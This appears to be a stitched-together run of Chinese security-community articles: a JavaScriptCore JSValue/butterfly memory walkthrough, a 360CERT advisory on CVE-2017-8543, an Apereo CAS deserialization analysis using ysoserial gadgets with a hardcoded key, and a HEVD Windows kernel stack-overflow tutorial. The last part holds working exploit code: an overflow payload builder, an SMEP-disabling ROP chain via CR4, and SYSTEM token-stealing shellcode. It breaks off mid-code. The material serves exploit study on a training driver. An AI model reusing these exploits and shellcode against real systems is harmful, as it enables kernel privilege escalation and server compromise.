4]`数组的内存结构，找到了这些数值，但我们还发现这些数值的高位全都被设置为`0xffff`，这里我们来了解一下为什么会出现这种情况。
## 0x01 JSValue源代码
JavaScript中有个非常重要的类，可以用来处理各种数值：`JSValue`类。我们可以在[JSCJSValue.h](https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/runtime/JSCJSValue.h)源文件中看到类定义，根据类定义，该类应该可以处理各种类型值，如`Integer`、`Double`或者`Boolean`。
//[...]
bool isInt32() const;
bool isUInt32() const;
bool isDouble() const;
bool isTrue() const;
bool isFalse() const;
int32_t asInt32() const;
uint32_t asUInt32() const;
int64_t asAnyInt() const;
uint32_t asUInt32AsAnyInt() const;
int32_t asInt32AsAnyInt() const;
double asDouble() const;
bool asBoolean() const;
double asNumber() const;
//[...]
这个类中包含一个编译器开关，针对32位及64位架构可以使用不同的实现。但现在大部分都是64位架构，因此我们主要关注这方面实现。代码中还有一大段注释，解释了什么是`JSValue`。仔细阅读注释，后面我们将多次回顾其中内容。
//[...]
#elif USE(JSVALUE64)
/*
* On 64-bit platforms USE(JSVALUE64) should be defined, and we use a NaN-encoded
* form for immediates.
*
* The encoding makes use of unused NaN space in the IEEE754 representation. Any value
* with the top 13 bits set represents a QNaN (with the sign bit set). QNaN values
* can encode a 51-bit payload. Hardware produced and C-library payloads typically
* have a payload of zero. We assume that non-zero payloads are available to encode
* pointer and integer values. Since any 64-bit bit pattern where the top 15 bits are
* all set represents a NaN with a non-zero payload, we can use this space in the NaN
* ranges to encode other values (however there are also other ranges of NaN space that
* could have been selected).
*
* This range of NaN space is represented by 64-bit numbers begining with the 16-bit
* hex patterns 0xFFFE and 0xFFFF - we rely on the fact that no valid double-precision
* numbers will fall in these ranges.
*
* The top 16-bits denote the type of the encoded JSValue:
*
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0001:****:****:****
* Double { ...
* FFFE:****:****:****
* Integer { FFFF:0000:IIII:IIII
* *
* The scheme we have implemented encodes double precision values by performing a
* 64-bit integer addition of the value 2^48 to the number. After this manipulation
* no encoded double-precision value will begin with the pattern 0x0000 or 0xFFFF.
* Values must be decoded by reversing this operation before subsequent floating point
* operations may be peformed.
*
* 32-bit signed integers are marked with the 16-bit tag 0xFFFF.
*
* The tag 0x0000 denotes a pointer, or another form of tagged immediate. Boolean,
* null and undefined values are represented by specific, invalid pointer values:
*
* False: 0x06
* True: 0x07
* Undefined: 0x0a
* Null: 0x02
*
* These values have the following properties:
* - Bit 1 (TagBitTypeOther) is set for all four values, allowing real pointers to be
* quickly distinguished from all immediate values, including these invalid pointers.
* - With bit 3 is masked out (TagBitUndefined) Undefined and Null share the
* same value, allowing null & undefined to be quickly detected.
*
* No valid JSValue will have the bit pattern 0x0, this is used to represent array
* holes, and as a C++ 'no value' result (e.g. JSValue() has an internal value of 0).
*/
仔细阅读注释后，大家可以注意到其中涉及到`JSValue`的编码表，其中解释了我们在数组中看到的`0xffff`。`JSValue`可以包含不同类型，通过高位来定义具体是什么类型。注释中也提到了为什么JavaScript即使在64位架构上也只处理32位整数，这是因为`JSValue`通过将顶部32位设置为`0xffff0000`来编码整数。如果顶部比特位为`0x0000`则代表指针，如果是其他比特位则都为`float`/`double`。
Pointer { 0000:PPPP:PPPP:PPPP
/ 0001:****:****:****
Double { ...
FFFE:****:****:****
Integer { FFFF:0000:IIII:IIII
此外其中还包含我们经常在JavaScript中看到的一些常量，这些常量可以编码成`JSValue`。比如`False`为`0x06`，`Null`为`0x02`。
False: 0x06
True: 0x07
Undefined: 0x0a
Null: 0x02
但我们还是在内存中观察一下。
## 0x02 使用调试器
首先我们可以创建包含各种不同类型的一个奇怪数组，然后在内存中观察该数组。很快我们就会发现奇怪的地方，第一个元素应该是一个整数，然而当在内存中观察时，我们发现其实它是一个`float`。为什么会出现这种情况？
[0x1337,13.37,false,undefined,ture,null,{},0x41424344]
让我们慢慢分析，逐个元素来构造数组。通过这种方法，我们可以观察到整个数组的内部类型在不断变化，并且第一个元素有时候也会被转换成`float`。
这表明JavaScriptCore在后台会有各种操作，我们来仔细分析一下。
## 0x03 在内存中识别JSValue
将内存中数组的值与关于JSValue的信息进行对比，我们可以很容易识别出各种常量，如`undefined`或者`false`。
上图中JSValue常量分别为`false`、`undefined`、`true`以及`null`。
我们创建的空JavaScript对象显示为一个指针，因此这是一个地址，实际的对象存储在其他地方。
图. JSValue：对象/指针
当然，这里我们还可以通过`0xffff0000`前缀来识别`Integer`。
图. JSValue：Integer
## 0x04 Butterfly
当观察`describe()`函数的输出时，我们可以看到所谓的“butterfly”（蝶式）地址。根据前面的内存分析结果，我们已经知道其中包含数组元素，但为什么会跟蝴蝶关联在一起呢？
当我们观察该地址所指向的具体位置时，原因就不言而喻。通常情况下地址/指针指向的是某个结构的起始处，但这里指向的是中间位置。指针的右侧为数组元素，指针的左侧为数组长度以及其他对象属性值。
## 0x05 Structure ID
除了蝶式地址，我们还可以在内存中看到作为对象一部分的其他值。前8个字节包含描述某些内部属性的一些标志以及非常重要的`StructureID`。这个值定义了该偏移地址的具体结构。
图. 内存中的`StructureID`
我们可以修改各种内容来分析相关对象，然后观察`StructureID`是否发生改变。比如，当我们往某个对象中添加了一些属性（如`a.x =
1`），可以看到`StructureID`会发生改变。实际上如果对象中没有包含该结构，那么就会创建新的`StructureID`，并且我们可以看到相应的值只是简单地递增。
## 0x06 总结
在这个[视频](https://www.youtube.com/watch?v=KVpHouVMTgY)中，我们可以找到关于内存中分析对象的其他文章，但我个人更建议大家使用调试器，自己操作一下试试。通过这个过程，我们应该能更深入理解基本的JavaScript对象和类型的内部结构，后续我们将以此为基础开展研究。
最后提一下，我们当然可以使用lldb的打印功能来使用调试版本的符号信息。如下图所示，我们可以看到属于`JSCell`头的`StructureID`及标志，并且可以看到蝶式地址是`JSObject`类的一部分。
## 0x07 参考资料
* [Attacking JavaScript Engines by saelo](http://phrack.org/papers/attacking_javascript_engines.html) | 社区文章 |
# 【漏洞预警】CVE–2017–8543 Windows Search远程代码执行漏洞预警(含演示)
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：Shi Lei @360CERT && 360 GearTeam
**描述**
日前，360CERT确认了编号 **CVE-2017-8543** 的微软Windows
Search严重漏洞存在被远程攻击的可行性，该漏洞被成功利用会对Windows用户产生严重的安全威胁，在此再次预警使用Windows平台的用户立即进行微软的2017年6月的安全补丁更新操作或安装“360安全卫士”进行有效防御。
微软在今年6月中旬发布的补丁包中包含了一个关于Windows Search的远程代码执行漏洞，CVE编号为:CVE-2017-8543。当 Windows
Search 处理内存中的对象时，存在远程执行代码漏洞。成功利用此漏洞的攻击者可以控制受影响的目标系统。
为了利用此漏洞，攻击者会向 Windows Search
服务发送经特殊设计的消息。有权访问目标计算机的攻击者可以利用此漏洞提升特权并控制目标计算机。此外，在企业情形中，未经过身份验证的远程攻击者可能会通过 SMB
连接远程触发此漏洞，然后控制目标计算机。
**漏洞演示**
****
**危害等级**
**[+]严重**
****
**影响版本**
**Microsoft Windows 10 3**
**Microsoft Windows 7 1**
**Microsoft Windows 8 1**
**Microsoft Windows Server 2008 2**
**Microsoft Windows Server 2012 2**
**Microsoft Windows Server 2016**
****
**修复方案**
**1．强烈建议所有受影响用户，及时更新官方补丁。**
<https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2017-8543>
**2.下载安装“360安全卫士”进行防御**
<https://www.360.cn/>
**技术支持**
邮件至 **[email protected]** | 社区文章 |
# Apereo CAS 4.X反序列化漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞描述
其实这个洞在2016年时候就出来了，Apereo
Cas一般是用来做身份认证的，所以有一定的攻击面，漏洞的成因是因为key的默认硬编码，导致可以通过反序列化配合Gadget使用。
## 0x02 环境搭建
[下载地址](https://mvnrepository.com/artifact/org.jasig.cas/cas-server-webapp)，直接选择对应的版本，选择war进行下载，然后导入到tomcat中，运行即可。
## 0x03 漏洞分析
这里做个区分，因为内部逻辑稍微有点不一样。
### Apereo CAS 4.1.X ~ 4.1.6
因为我不确定这个的流程是什么样的，但是我知道一点这个的 **demo** 目前是基于 **spring mvc**
的，因此我在`org/springframework/web/servlet/FrameworkServlet`处的 **doPost**
方法下断点，为什么是 **doPost** 原因就是我现在登录的数据包是 **Post** 。
**doPost** 方法中调用 **FrameworkServlet#processRequest** 进行处理 **request** 对象和
**response** 对象。
protected final void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.processRequest(request, response);
}
跟进 **FrameworkServlet#processRequest** ，调用 **DispatcherServlet#doService** 处理
**request** 对象和 **response** 对象。
protected final void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
...
try {
this.doService(request, response);
继续跟进 **DispatcherServlet#doService** ，调用 **DispatcherServlet#doDispatch** 处理
**request** 对象和 **response** 对象。
protected void doService(HttpServletRequest request, HttpServletResponse response) throws Exception {
...
try {
this.doDispatch(request, response);
} finally {
if (!WebAsyncUtils.getAsyncManager(request).isConcurrentHandlingStarted() && attributesSnapshot != null) {
this.restoreAttributesAfterInclude(request, attributesSnapshot);
}
}
继续跟进 **DispatcherServlet#doDispatch** ，而 **handle** 实际上是一个 **Implement**
，而这里进行经过处理之后来到的是 **FlowHandlerAdapter.handle** 中。
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
boolean multipartRequestParsed = false;
WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
try {
...
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
跟进 **FlowHandlerAdapter.handle** ，这里首先通过 **getFlowExecutionKey** 方法从
**request** 对象中获取我们传入的 **execution** 中的值，也就是 **flowExecutionKey** ，然后把这个
**flowExecutionKey** 交给 **resumeExecution** 方法进行处理。
跟进 **resumeExecution**
方法，来到`org/springframework/webflow/executor/FlowExecutorImpl`这个类中，调用
**getFlowExecution** 方法处理，从前面 **execution** 中的获取到的 **key** 值。
public FlowExecutionResult resumeExecution(String flowExecutionKey, ExternalContext context) throws FlowException {
...
FlowExecutionKey key = this.executionRepository.parseFlowExecutionKey(flowExecutionKey);
...
try {
FlowExecution flowExecution = this.executionRepository.getFlowExecution(key);
flowExecution.resume(context);
跟进 **getFlowExecution** 方法，先把之前的 **key** 调用 **getData** 方法，转变化成byte数组，之后调用
**transcoder.decode** 处理前面的byte数组。
public FlowExecution getFlowExecution(FlowExecutionKey key) throws FlowExecutionRepositoryException {
if (!(key instanceof ClientFlowExecutionKey)) {
throw new IllegalArgumentException("Expected instance of ClientFlowExecutionKey but got " + key.getClass().getName());
} else {
byte[] encoded = ((ClientFlowExecutionKey)key).getData();
try {
ClientFlowExecutionRepository.SerializedFlowExecutionState state = (ClientFlowExecutionRepository.SerializedFlowExecutionState)this.transcoder.decode(encoded);
跟进 **transcoder.decode**
，首先需要先`cipherBean.decrypt`进行一步解密操作，解密传入的byte数组，然后就会来到反序列化入口 **readObject** 了。
再看一下加密算法，算法是 **AES/CBC/PKCS7** ， **KeyStore** 是硬编码在 **spring-webflow-client-repo-1.0.0.jar/etc/keystore.jcek** 。
而实际上当你全局搜索login关键字的时候，你会在 **WEB-INF/cas-servlet.xml** 中看到
**loginHandlerAdapter** 对应的类是 **SelectiveFlowHandlerAdapter** ，而
**loginFlowExecutor** 对应的类是 **FlowExecutorImpl** ，实际上和上面从输入下断点来看是一样的。
<bean id="loginHandlerAdapter" class="org.jasig.cas.web.flow.SelectiveFlowHandlerAdapter"
p:supportedFlowId="login" p:flowExecutor-ref="loginFlowExecutor" p:flowUrlHandler-ref="loginFlowUrlHandler" />
<bean id="loginFlowUrlHandler" class="org.jasig.cas.web.flow.CasDefaultFlowUrlHandler" />
<bean name="loginFlowExecutor" class="org.springframework.webflow.executor.FlowExecutorImpl"
c:definitionLocator-ref="loginFlowRegistry"
c:executionFactory-ref="loginFlowExecutionFactory"
c:executionRepository-ref="loginFlowExecutionRepository" />
### Apereo CAS 4.1.7 ～ 4.2.X
这个版本的key默认是随机生成的，所以需要先硬编码一下`WEB-INF/cas.properties`这个文件，方便调试。
实际上到`ClientFlowExecutionRepository#getFlowExecution`这里之前数据流还是没有变。
改变的地方是 **decode** 时候解密 **decrypt** 操作来到的是 **CasWebflowCipherBean** 当中。
在 **CasWebflowCipherBean** 当中调用的是 **webflowCipherExecutor.decode** 进行操作。
public byte[] decrypt(final byte[] bytes) {
return webflowCipherExecutor.decode(bytes);
}
跟进 **webflowCipherExecutor.decode** ，这里的 **key** 就是从我们刚刚默认的配置文件`WEB-INF/cas.properties`中拿出来的。
## 0x04漏洞利用
### Apereo CAS 4.1.X ~ 4.1.6
由于在当前版本中有 **Commons-collections4** 这个库。
使用可以利用 **yso** 中的 **CC2** 这个payload进行poc构造，构造时候直接使用
**org.jasig.spring.webflow.plugin.EncryptedTranscoder.encode** 进行加密即可，然后替换
**execution** 这个参数位置的值。
漏洞复现。
根据，这个[文章](http://www.00theway.org/2020/01/04/apereo-cas-rce/)里面，提到的
> 对整个项目进行搜索发现了一个静态方法满足我们的需求
>
>
>
> org.springframework.webflow.context.ExternalContextHolder.getExternalContext()
>
>
>
> 通过这个方法可以获取到当前进行关联的上下文信息，然后通过“getNativeRequest()”方法获取request对象通过getNativeResponse()方法获取response对象。
>
> 可以通过
> “org.springframework.cglib.core.ReflectUtils.defineClass().newInstance();”这个public方法来加载我们的payload。
根据这个方式，自己写一个 **ApereoExec** 类，修改 **ysoserial/payloads/util/Gadgets**
里面的部分东西，使用javassist进行patch就好了。
### Apereo CAS 4.1.7 ～ 4.2.X
这里需要自己构造了，看一下前面的加密过程，加密的时候把 **Object** 传入，然后调用 **GZIPOutputStream**
进行压缩，序列化，然后调用 **cipherBean.encrypt** 进行加密，最后 **base64** 再加密一下。
public byte[] encode(Object o) throws IOException {
if (o == null) {
return new byte[0];
} else {
ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
if (this.compression) {
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
} else {
out = new ObjectOutputStream(outBuffer);
}
out.writeObject(o);
} finally {
if (out != null) {
out.close();
}
}
try {
return this.cipherBean.encrypt(outBuffer.toByteArray());
} catch (Exception var7) {
throw new IOException("Encryption error", var7);
}
}
}
而这个版本demo中存在C3P0 gadget，因此可以利用这个来操作。
当然也可以把这部分内容抓出来，手动写一个反序列化解密操作。
## Reference
<https://apereo.github.io/2016/04/08/commonsvulndisc/>
<http://www.00theway.org/2020/01/04/apereo-cas-rce/> | 社区文章 |
# Windows内核栈溢出从win7 x86 到win8 x64
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、环境准备
Win 10 64位 主机 + win 7 32位虚拟机
Win 10 64位 主机 + win 8 64位虚拟机
Windbg：调试器
VirtualKD-3.0：双击调试工具
InstDrv：驱动安装，运行工具
HEVD：一个Windows内核漏洞训练项目，里面几乎涵盖了内核可能存在的所有漏洞类型，非常适合我们熟悉理解Windows内核漏洞的原理，利用技巧等等
## 二、win7 x86 环境
win7 x86下比较简单，这里简单过一下
先看下代码：
#define BUFFER_SIZE 512
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
……
#ifdef SECURE
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
代码很简单，问题就出在这句上
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
KernelBuffer是函数内的变量，内容存放在栈上， 大小固定为512字节， UserBuffer
和Size是用户从ring3层传入得值，大小可人为控制，当传入得 UserBuffer
和Size过大时，就会超过KernelBuffer的空间，覆盖到函数返回地址。
实际跟踪调试可知，从KernelBuffer起始开始覆盖数据， 偏移2080自节后开始覆盖 返回地址。
#define JUNK_SIZE 2080
#define TOAL_SIZE 2080 + 4
char payload[TOAL_SIZE] = { 0 };
char junk_pay[JUNK_SIZE] = { 'A' };
char ret_addr[5] = { 0 };
memset(junk_pay, 'A', JUNK_SIZE);
memset(ret_addr, 'B', 5);
memcpy(payload, junk_pay, JUNK_SIZE);
memcpy(payload + JUNK_SIZE, ret_addr, 4);
//*((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;
RtlCopyMemory(uBuffer, payload, TOAL_SIZE);
DWORD bytesRet;
BOOL bof = DeviceIoControl(device, /* handler for open driver */
STACK_IOCTL, /* IOCTL for the stack overflow */
uBuffer, /* our user buffer with shellcode/retAddr */
TOAL_SIZE,
NULL, /* no buffer for the driver to write back to */
0, /* above buffer of size 0 */
&bytesRet, /* dump variable for byte returned */
NULL); /* ignore overlap */
测试程序，覆盖2080个A， 后面紧接着用B覆盖返回地址。
Windbg下断点 bp HEVD!TriggerStackOverflow
运行程序，调试观察。程序停在TriggerStackOverflow函数入口处， 返回地址为96b3e980
P 运行程序，当执行RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);后，函数的返回地址被覆盖，
42424242 也就是BBBB。
剩下的就简单了，我们只需要将BBBB替换成shellcode的地址就行了。部分代码如下：
// Set the DeleteProcedure to the address of our payload
int shellcode_len = sizeof(shellcode);
char *pShellcodeBuf = (char*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);
printf("ShellcodeBuf :%x\n", pShellcodeBuf);
char payload[TOAL_SIZE] = { 0 };
char junk_pay[JUNK_SIZE] = { 'A' };
char ret_addr[5] = { 0 };
memset(junk_pay, 'A', JUNK_SIZE);
memset(ret_addr, 'B', 5);
memcpy(payload, junk_pay, JUNK_SIZE);
*((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;
RtlCopyMemory(uBuffer, payload, TOAL_SIZE);
运行结果如下：
## 三、Win8 x64环境
在Windows 8及更高版本上已经部署了一种新的缓解措施，可以阻止使用这种方法exploit。管理模式执行保护(Superior Mode
Execution
Prevention)基本上是ring0版的DEP。它防止CPU以比当前更低的权限级别(或更高的ring级别)执行指令。换句话说，当在内核模式中运行时，处理器将不会执行映射到用户空间内存中的指令。
### 1、遇到的坑
在介绍SMEP绕过之前，我先讲下我遇到的坑。第一要确定自己的cpu是否支持SMEP。
一开始在win8.x
x64上测试SMEP时，我没有使用绕过技术，但是shellcode一直能正常执行，让我很是纳闷，作为小白不知如何是好，后来经过多方查找资料，才知道时cpu的问题（谁让咱穷呢）。
换了台机器后，再测试，发现还是没有smep保护，不知道啥原因，重新装了win10x64的虚拟机，发现支持smep了，猜测可能自己下的win8的系统有问题，于是又下了个更新的win8，发现支持smep了，终于可以开心的研究技术了。
如何判断我们的系统是否开启smep呢。 Windows提供了一款工具coreinfo.exe
不支持smep（是-）：
支持smep(是*):
### 2、smep技术介绍
smep是一种内核保护机制，由cr4寄存器的smep位控制，该位为1时，保护开启，该位为0时保护关闭。
既然是寄存器控制保护的开启与关闭，是不是很像ring3层的dep，我们就可以通过控制cr4寄存器的值来关闭该保护机制。
我们实际跟踪下看下smep是什么情况。在我们构造shellcode覆盖堆栈后，执行到RtlCopyMemory((PVOID)KernelBuffer,
UserBuffer, Size)后，在TriggerStackOverflow()返回前，我们看下cr4的值。
kd> r cr4
cr4=00000000001506f8
第20位smep标识为1， 保护机制开启，如果在继续执行，系统就会蓝屏。
### 3、Smep绕过
我们如何绕过，类似dep，我们在执行shellcode之前，先修改cr4将其smep位写0。这就需要rop技术。
首先我们需要在内核中找到mov cr4, xxx； ret之类的的代码。
我们将ntoskrnl.exe用ida打开。搜索 mov cr4
结果为mov cr4，rcx; retn。
我们还需要一条控制rcx值的语句（pop rcx）
同样搜索pop rcx
这两条语句在ntoskrnl.exe中的偏移分别为8655A，7db64
Windbg中查看对应位置，正是我们需要的。
kd> dd nt
fffff801`7621c000 00905a4d 00000003 00000004 0000ffff
fffff801`7621c010 000000b8 00000000 00000040 00000000
gadgets1:
kd> u nt+7db64
nt!KeRemoveQueueDpcEx+0xac:
fffff801`76299b64 59 pop rcx
fffff801`76299b65 c3 ret
gadgets2:
kd> u nt+8655A
nt!KiFlushCurrentTbWorker+0x12:
fffff801`762a255a 0f22e1 mov cr4,rcx
fffff801`762a255d c3 ret
之前win7的时候，我们返回地址直接覆盖的是shellcode地址， 到了win8 x64这里我们将其覆盖为gadgets1的地址。
构造栈数据如下：
我们简单跟踪下：
在我们执行完RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size)后，
栈上的返回地址已经被覆盖，值为fffff802cb2f6b64
Bp fffff802cb2f6b64下断点
此时cr4的值已经改变
kd> r cr4
cr4=00000000000406f8
再单步执行就进入我们的shellcode中。
### 4、有关shellcode构造调试：
我首先网上随便找了个shellcode
mov rax, gs:[188h] ;Kprcb.Kpthread
mov rax, [rax+220h] ;process
mov rcx, rax ; keep copy value
mov rdx, 4 ; system PID
findSystemPid:
mov rax, [rax+2e8h] ; ActiveProcessLinks : _LIST_ENTRY
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid
; 替换Token
mov rdx, [rax+348h] ; get system token
mov [rcx+348h], rdx ; copy
ret
当然我在实际用的时候，直接蓝屏了。
下面我们就通过调试将这个shellcode，改造成可用的。
通过跟踪你会知道，这shellcode之所以会蓝屏，是堆栈不平衡问题，由于函数没有正常返回，导致shellcode执行完，直接飞了。
我们回归程序，shellcode所在的函数上层函数是StackOverflowIoctlHandler()
函数在返回前，执行了add rsp, 28h。
所以我们要堆栈平衡，也需要rsp增加，加多少呢，总共要加28h
但是我们已经先执行了rop链， pop rcx, ret, ret 已经使rsp增加了3*8=24=18h
所以我们还需要增加28h-18h=10h
我们修改下shellcode
mov rax, gs:[188h] ;Kprcb.Kpthread
mov rax, [rax+220h] ;process
mov rcx, rax ; keep copy value
mov rdx, 4 ; system PID
findSystemPid:
mov rax, [rax+2e8h] ; ActiveProcessLinks : _LIST_ENTRY
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid
; 替换Token
mov rdx, [rax+348h] ; get system token
mov [rcx+348h], rdx ; copy
;根据实际环境调整
add rsp,10h
ret
我们再次运行，发现shellcode可以正常执行完毕，但是系统还是蓝屏了。What？？？
再次跟踪，寻找原因，定位到异常原因
rbx的值指向irp，此时其值为
kd> r rbx
rbx=00000000000406f8
所以执行到这里会蓝屏，我们需要在shellcode中恢复irp的值，保证后续能够正常执行。
下断点
bp HEVD!IrpDeviceIoCtlHandler
bp HEVD!TriggerStackOverflow
irp从函数IrpDeviceIoCtlHandler传入，程序进入该函数时，查看堆栈
kd> dd rsp
ffffd001`7e679778 cb663c0f fffff802 00000000 00000000
ffffd001`7e679788 7e679a80 ffffd001 f0840ee0 ffffe000
f0840ee0 ffffe000值对应的就是irp的值，地址为ffffd001`7e679790
程序进入shellcode时，我们在看下rsp的值为ffffd001`7e679738
kd> dd rsp
ffffd001`7e679738 7e679a01 ffffd001 00222003 00000000
ffffd001`7e679748 19827335 fffff800 198287a0 fffff800
ffffd001`7e679790- ffffd001`7e679738=58h
即irp在rsp上方偏移58h处（也没有被覆盖）
由于irp的存在rbx中，所以需要执行mov rbx, [rsp+58h]来恢复irp。
最后shellcode为
;for win8 x64
.code
shellCode proc
; shellcode
mov rax, gs:[188h] ;Kprcb.Kpthread
mov rax, [rax+220h] ;process
mov rcx, rax ; keep copy value
mov rdx, 4 ; system PID
findSystemPid:
mov rax, [rax+2e8h] ; ActiveProcessLinks : _LIST_ENTRY
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid
; 替换Token
mov rdx, [rax+348h] ; get system token
mov [rcx+348h], rdx ; copy
;根据实际环境调整
mov rbx, [rsp+58h] ;restore IRP
add rsp,10h
;xor rax, rax ;NTSTATUS Status = STATUS_SUCCESS
ret
shellCode endp
end
（构造shellcode时，要根据具体情况调整代码）
结果如下：
附代码：(shellcode在shellCode.asm文件中)：
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdint.h>
#include "shellCode.h"
/*
HEVD Windows Driver Exploit for the Stack Buffer Overflow
*/
#ifdef _WIN64
#define RETLEN 8
#define JUNK_SIZE 2056
#define TOAL_SIZE JUNK_SIZE + 8*4
//gadgets1(pop rcx ret) + 406f8 + gadgets2(mov cr4,crx ret) + shellcodeAddr
#else
#define RETLEN 4
#define JUNK_SIZE 2080
#define TOAL_SIZE 2080 + 8
#endif
#define SHELLCODE_LEN 61
#define STACK_IOCTL 0x222003
#define DRIVER_PATH "\\\\.\\HackSysExtremeVulnerableDriver"
//对应的函数名声明在shellCode文件中;
//win x64 不支持嵌入式汇编，需要单独存放;
extern "C" void shellCode();
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _ROP {
PUCHAR PopRcxRet;
PUCHAR Cr4RegValue;
PUCHAR MovCr4EcxRet;
} ROP, *PROP;
typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
__int64* GetKernelBase()
{
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
__int64 *kernelBase = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo)
{
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = (__int64*)ModuleInfo->Module[0].ImageBase;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return kernelBase;
}
void main() {
LPVOID uBuffer = VirtualAlloc(NULL,
TOAL_SIZE,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!uBuffer) {
printf("Error allocating the user buffer\n");
exit(1);
}
char payload[TOAL_SIZE] = { 0 };
char junk_pay[JUNK_SIZE] = { 'A' };
memset(junk_pay, 'A', JUNK_SIZE);
memcpy(payload, junk_pay, JUNK_SIZE);
#ifdef _WIN64
__int64 pKernelAddr = (__int64)GetKernelBase();
printf("KernelAddr = %I64x\n", pKernelAddr);
*((__int64*)((char*)payload + JUNK_SIZE)) = (__int64)(pKernelAddr + 0x7db64); //pop rcx ret
*((__int64*)((char*)payload + JUNK_SIZE + 8)) = 0x406f8;
*((__int64*)((char*)payload + JUNK_SIZE + 8 + 8)) = (__int64)(pKernelAddr + 0x8655A); //mov cr4 rcx , ret
*((__int64*)((char*)payload + JUNK_SIZE + 8 + 8 +8)) = (__int64)shellCode;
#else
char shellcode[] =
/* --- Setup --- */
"\x60" // pushad
"\x64\xA1\x24\x01\x00\x00" // mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50" // mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1" // mov ecx, eax (Current _EPROCESS structure)
"\x8B\x98\xF8\x00\x00\x00" // mov ebx, [eax + TOKEN_OFFSET]
/* --- Copy System token */
"\xBA\x04\x00\x00\x00" // mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00" // mov eax, [eax + FLINK_OFFSET]
"\x2D\xB8\x00\x00\x00" // sub eax, FLINK_OFFSET
"\x39\x90\xB4\x00\x00\x00" // cmp [eax + PID_OFFSET], edx
"\x75\xED" // jnz
"\x8B\x90\xF8\x00\x00\x00" // mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00" // mov [ecx + TOKEN_OFFSET], edx
/* --- Cleanup --- */
"\x61" // popad
"\x31\xC0" // NTSTATUS -> STATUS_SUCCESS
"\x5D" // pop ebp
"\xC2\x08\x00"; // ret 8
// Set the DeleteProcedure to the address of our payload
int shellcode_len = sizeof(shellcode);
